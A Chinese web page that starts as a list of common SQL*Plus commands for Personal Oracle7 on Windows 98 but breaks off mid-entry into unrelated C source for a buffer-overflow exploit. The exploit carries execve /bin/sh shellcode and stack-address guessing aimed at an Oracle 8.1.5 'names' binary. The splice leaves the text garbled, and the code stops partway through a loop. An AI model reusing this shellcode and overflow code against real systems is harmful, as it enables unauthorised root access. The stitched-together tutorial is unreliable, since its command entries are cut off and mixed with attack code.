【点击:】 阿木伯 著 |
|
SQL*PLUS常用命令列表 |
|
- 软件环境:
1、Windows 98 第二版
2、Oracle数据库版本为:Personal Oracle7 Release 7.3.4.0.0
3、Oracle安装路径为:C:\ORAWIN95
- 命令列表:
假设当前执行命令为:select * from tab; (a)ppend 添加文本到缓冲区当前行尾 a order by tname 结果:select * from tab order by tname; (注:a后面跟2个空格) (c)hange/old/new 在当前行用新的文本替换旧的文本 c #include
#include
#define BUFFER 800 #define NOP 0x90 #define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names" char shellcode[] = "\xeb\x1d" "\x5e" "\x29\xc0" "\x88\x46\x07" "\x89\x46\x0c" "\x89\x76\x08" "\xb0\x0b" "\x87\xf3" "\x8d\x4b\x08" "\x8d\x53\x0c" "\xcd\x80" "\x29\xc0" "\x40" "\xcd\x80" "\xe8\xde\xff\xff\xff" "/bin/sh"; unsigned long getesp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr,binary[120]; long *addr_ptr, addr; int bsize=BUFFER; int i,offset; offset = 0 ; if ( argc > 1 ) offset = atoi(argv[1]); buff = malloc(bsize); addr = getesp() - 5933 - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i
|
|